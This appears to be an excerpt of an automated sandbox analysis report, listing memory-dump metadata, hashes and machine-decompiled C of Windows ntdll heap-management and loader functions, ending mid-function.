Kernel-MUI-Number-Allowed, xrefs: 03C53D8C

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 37c0a762cd1c0c72918efd1cf5fb4b32a13f4a49eba601458edd1619c18e54cb
Instruction ID: c3e434b22320b4303e72410e808884fe14c31e2eb5fa383b27c883da3428958f
Opcode Fuzzy Hash: 37c0a762cd1c0c72918efd1cf5fb4b32a13f4a49eba601458edd1619c18e54cb
Instruction Fuzzy Hash: 5DF16B76D00619EFCB15DF99C980AEEBBB9FF48650F15016AE905EB210E7349E40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03C440E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E03C440E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E03C4B150();
					} else {
						E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E03C4B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E03C4B150(", passed to %s", _t29);
					}
					_push("\n");
					E03C4B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x3d36378 = 1;
						asm("int3");
						 *0x3d36378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x03c440e6
0x03c440e8
0x03c440f1
0x03ca042d
0x03ca044c
0x03ca0451
0x03ca042f
0x03ca0444
0x03ca0449
0x03ca045d
0x03ca0466
0x03ca046e
0x03ca0474
0x03ca0475
0x03ca047a
0x03ca048a
0x03ca048c
0x03ca0493
0x03ca0494
0x03ca0494
0x00000000
0x03ca049b
0x00000000

Strings

HEAP[%wZ]: , xrefs: 03CA043F
HEAP: , xrefs: 03CA044C
Invalid heap signature for heap at %p, xrefs: 03CA0458
, passed to %s, xrefs: 03CA0469
RtlAllocateHeap, xrefs: 03CA0468

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
API String ID: 0-188067316
Opcode ID: 69923054682d84c5fce5639cb8884cfb7297fd2ae139b289c913685d3d25f70d
Instruction ID: 1a77e7fc4907fa59d6963651f09da461f4749c5ead4fa0a7bd502322b5137557
Opcode Fuzzy Hash: 69923054682d84c5fce5639cb8884cfb7297fd2ae139b289c913685d3d25f70d
Instruction Fuzzy Hash: 47012836204661AED319DB78A54DF56BBA4EB00B74F1E4069F006CF7418AE5DC40D531

Uniqueness

Uniqueness Score: -1.00%

Function 03C6A830, Relevance: 5.4, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E03C6A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0x3d38748 - 1;
					if( *0x3d38748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E03C4B150();
									_t260 = _t257 + 4;
								} else {
									E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E03C4B150();
								_t257 = _t260 + 4;
								__eflags =  *0x3d37bc8;
								if(__eflags == 0) {
									E03D02073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E03D0A80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E03C9D5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E03C6AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E03D0A80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E03D0A80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0x3d38748 - 1;
					if( *0x3d38748 >= 1) {
						_t127 = _t256 + 0xfff; // 0xfff
						_t131 = _t127 & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E03C4B150();
							} else {
								E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E03C4B150();
							__eflags =  *0x3d37bc8;
							if(__eflags == 0) {
								_t131 = E03D02073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x03c6a83a
0x03c6a83c
0x03c6a83e
0x03c6a841
0x03c6a844
0x03c6a84a
0x03c6aa53
0x03c6aa59
0x03c6aa59
0x03c6a858
0x03c6a85e
0x03c6aaf5
0x03c6aafc
0x03cb229e
0x03cb22a2
0x03cb22a8
0x03cb22b3
0x03cb22b5
0x03cb22bb
0x03cb22c1
0x03cb22c5
0x03cb22e6
0x03cb22eb
0x03cb22f0
0x03cb22c7
0x03cb22dc
0x03cb22e1
0x03cb22e1
0x03cb22f3
0x03cb22f8
0x03cb22fd
0x03cb2300
0x03cb2307
0x03cb230e
0x03cb230e
0x03cb2313
0x03cb2313
0x03cb22b5
0x03cb22a2
0x03c6aafc
0x03c6a864
0x03c6a869
0x03c6aa5c
0x03c6aa5e
0x03c6a86f
0x03c6a87f
0x03c6a885
0x03c6a885
0x03c6a88b
0x03c6a890
0x03c6a896
0x03c6ab0c
0x03c6ab0f
0x03c6ab15
0x03cb2320
0x03cb2320
0x03c6ab1b
0x03c6a89c
0x03c6a89f
0x03c6a8a2
0x03c6a8a2
0x03c6a8a5
0x03c6a8af
0x03c6a8b3
0x03c6a8b8
0x03c6aa66
0x03c6a8be
0x03c6a8c5
0x03c6a8c6
0x03c6a8ce
0x03cb2328
0x03cb2332
0x03cb2337
0x03cb2337
0x03c6a8ce
0x03c6a8d4
0x03c6a8d8
0x03c6a8db
0x03c6a8de
0x03c6a8e1
0x03c6a8e5
0x03c6a8e8
0x03c6a8f0
0x03c6a8f3
0x03cb234c
0x03cb2350
0x03cb2355
0x03cb2359
0x03cb2359
0x03c6a8f9
0x03c6a901
0x03c6aae4
0x03c6aae4
0x03c6aaea
0x00000000
0x03c6a907
0x03c6a90a
0x03c6a91d
0x03c6a91d
0x00000000
0x03c6a910
0x03c6a910
0x03c6a910
0x03c6a914
0x03c6a924
0x03c6a924
0x03c6a924
0x03c6a924
0x03c6a916
0x03c6a91b
0x00000000
0x00000000
0x00000000
0x03c6a91b
0x03c6a925
0x03c6a925
0x03c6a932
0x03c6a936
0x03c6a93c
0x03c6a93c
0x03c6a93c
0x03c6ab22
0x03c6ab24
0x03c6ab27
0x03c6ab27
0x03c6a942
0x03c6a944
0x03c6aaba
0x03c6aabd
0x03c6aac0
0x03c6aac0
0x03c6aac2
0x03c6ab2f
0x03c6aac4
0x03c6aac4
0x03c6aac7
0x03c6aaca
0x03c6aacc
0x03c6aace
0x03c6aace
0x03c6aace
0x03c6aad1
0x03c6aad1
0x03c6aad7
0x03c6aad9
0x00000000
0x00000000
0x03cb2361
0x03cb2369
0x03cb236b
0x00000000
0x03cb2371
0x00000000
0x03cb2371
0x00000000
0x03cb236b
0x03c6aac0
0x03c6a94a
0x03c6a94a
0x03c6a94d
0x03c6a94d
0x03c6a950
0x03c6a954
0x03cb2376
0x03cb2380
0x03c6a95a
0x03c6a95a
0x03c6a95c
0x03c6a95f
0x03c6a961
0x03c6a961
0x03c6a967
0x03c6a96a
0x03c6a972
0x03c6aa02
0x03c6aa06
0x03c6aa10
0x03c6aa16
0x03c6aa16
0x03c6aa1b
0x03c6aa21
0x03c6aa24
0x03c6aa27
0x03c6aa29
0x03c6aa2c
0x03c6aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x03c6a978
0x03c6a978
0x03c6a97b
0x03c6a981
0x03c6a996
0x03c6a998
0x03c6a99f
0x03c6a9a2
0x03cb238a
0x03c6a9a8
0x03c6a9a8
0x03c6a9a8
0x03c6a9aa
0x03c6a9ad
0x03c6a9b0
0x03c6a9bb
0x03c6a9be
0x03c6a9c7
0x03c6a9c9
0x03c6a9c9
0x03c6a9cc
0x03c6a9d1
0x03c6aa6d
0x03c6aa70
0x03c6aa73
0x03c6aa75
0x03c6aa79
0x03c6aa7e
0x03c6aa82
0x03c6aa8f
0x03c6aa94
0x03c6aa96
0x03cb2392
0x03cb23a1
0x03cb23a1
0x03c6aa9c
0x03c6aa9f
0x03c6aaa2
0x03c6aaa2
0x03c6aaa8
0x03c6aaab
0x03c6aaaf
0x00000000
0x03c6aab5
0x00000000
0x03c6aab5
0x03c6a9d7
0x03c6a9d7
0x03c6a9da
0x03c6a9e0
0x03c6a9e3
0x03c6a9e6
0x03c6a9e9
0x03c6a9eb
0x03c6a9fd
0x03c6a9fd
0x00000000
0x03c6a9eb
0x00000000
0x00000000
0x00000000
0x03c6a983
0x03c6a983
0x03c6a983
0x03c6a987
0x03c6a995
0x03c6a995
0x03c6a995
0x03c6a995
0x03c6a989
0x03c6a98e
0x00000000
0x03c6a990
0x00000000
0x03c6a990
0x03c6a98e
0x00000000
0x03c6a983
0x03c6a972
0x03c6a90a
0x03c6aa34
0x03c6aa34
0x03c6aa40
0x03c6aa43
0x03c6aa46
0x03c6aa4d
0x03cb23ab
0x03cb23b2
0x03cb23b8
0x03cb23be
0x03cb23c3
0x03cb23c5
0x03cb23cb
0x03cb23d1
0x03cb23d5
0x03cb23f6
0x03cb23fb
0x03cb23d7
0x03cb23ec
0x03cb23f1
0x03cb2403
0x03cb2408
0x03cb2410
0x03cb2417
0x03cb2422
0x03cb2422
0x03cb2417
0x03cb23c5
0x03cb23b2
0x00000000

Strings

((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 03CB22F3
HEAP[%wZ]: , xrefs: 03CB22D7, 03CB23E7
HEAP: , xrefs: 03CB22E6, 03CB23F6
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 03CB2403

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 0-1657114761
Opcode ID: 6a04b162978c7f6f9d879785a442712645ab593be88afcc04838449a2ea6b6c4
Instruction ID: 36776be51427302191d19a5582f01e55482e4e203a8c398aab6be5af3c3ffb44
Opcode Fuzzy Hash: 6a04b162978c7f6f9d879785a442712645ab593be88afcc04838449a2ea6b6c4
Instruction Fuzzy Hash: F4D1AEB8A002459FDB18CF69C590BAAF7F5FF48300F198569D896EB346E730E945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 03C6A229, Relevance: 5.2, Strings: 4, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E03C6A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E03C6DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E03C89730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E03D0A80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E03C89660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E03C4B150();
					} else {
						E03C4B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E03C4B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E03C67D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E03D0138A(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E03C67D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E03C67D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E03D01582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E03C67D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E03C67D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E03D01582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E03C9D5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x03c6a229
0x03c6a231
0x03c6a23f
0x03c6a242
0x03c6a244
0x03c6a24c
0x03c6a255
0x03c6a25a
0x03c6a25f
0x03cb1c76
0x03cb1c78
0x03cb1c7e
0x03cb1c7f
0x03cb1c81
0x03cb1c82
0x03cb1c84
0x03cb1c89
0x03cb1c8b
0x03cb1c9e
0x03cb1c9e
0x03cb1cab
0x03cb1cb2
0x00000000
0x03cb1cb2
0x03cb1c8d
0x03cb1c92
0x00000000
0x00000000
0x03cb1c94
0x03cb1c98
0x00000000
0x00000000
0x00000000
0x03cb1c98
0x03c6a265
0x03c6a265
0x03c6a266
0x03c6a26f
0x03c6a270
0x03c6a276
0x03c6a277
0x03c6a279
0x03c6a27e
0x03c6a282
0x03cb1db5
0x03cb1dbb
0x03cb1dc1
0x03cb1dc5
0x03cb1de4
0x03cb1de9
0x03cb1dc7
0x03cb1ddc
0x03cb1de1
0x03cb1def
0x03cb1df3
0x03cb1df7
0x03cb1dfe
0x03cb1e06
0x03c6a302
0x03c6a308
0x03c6a308
0x03c6a288
0x03c6a28d
0x03c6a294
0x03cb1cc1
0x03c6a29a
0x03c6a29a
0x03c6a29a
0x03c6a29f
0x03cb1ccb
0x03cb1cd1
0x03cb1cd8
0x03cb1cea
0x03cb1cea
0x03cb1cd8
0x03c6a2a9
0x03c6a2af
0x03c6a2bc
0x03cb1cfd
0x03c6a2c2
0x03c6a2c2
0x03c6a2c2
0x03c6a2c7
0x03cb1d07
0x03cb1d0d
0x03cb1d14
0x03cb1d1f
0x03cb1d21
0x03cb1d2c
0x03cb1d2c
0x03cb1d2c
0x03cb1d47
0x03cb1d47
0x03cb1d14
0x03c6a2cd
0x03c6a2d2
0x03c6a2d9
0x03cb1d5a
0x03c6a2df
0x03c6a2df
0x03c6a2df
0x03c6a2e4
0x03cb1d69
0x03cb1d6b
0x03cb1d76
0x03cb1d76
0x03cb1d76
0x03cb1d91
0x03cb1d91
0x03c6a2ea
0x03c6a2f0
0x03c6a2f5
0x03cb1da8
0x03cb1dad
0x03cb1dad
0x03c6a2fd
0x03c6a300
0x00000000

Strings

`, xrefs: 03CB1C8D
HEAP[%wZ]: , xrefs: 03CB1DD7
HEAP: , xrefs: 03CB1DE4
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 03CB1DF9

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 2994545307-2586055223
Opcode ID: d8264e5e750350aeb0fd1bac35955cf5c837c451780fadaea776a24982d6f363
Instruction ID: 07904526a888154c5d06d620f31a8fe51e5d48b7fe523fcd6ecc3cdd2d5d5f2e
Opcode Fuzzy Hash: d8264e5e750350aeb0fd1bac35955cf5c837c451780fadaea776a24982d6f363
Instruction Fuzzy Hash: CC5102762447809FD712DB68C899F67B7F8EB80B54F090864F456DF292D725E900C761

Uniqueness

Uniqueness Score: -1.00%

Function 03C78E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E03C78E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x3d3d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x3d38464; // 0x73b80110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x3d35780 & 0x00000003) != 0) {
							E03CC5510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
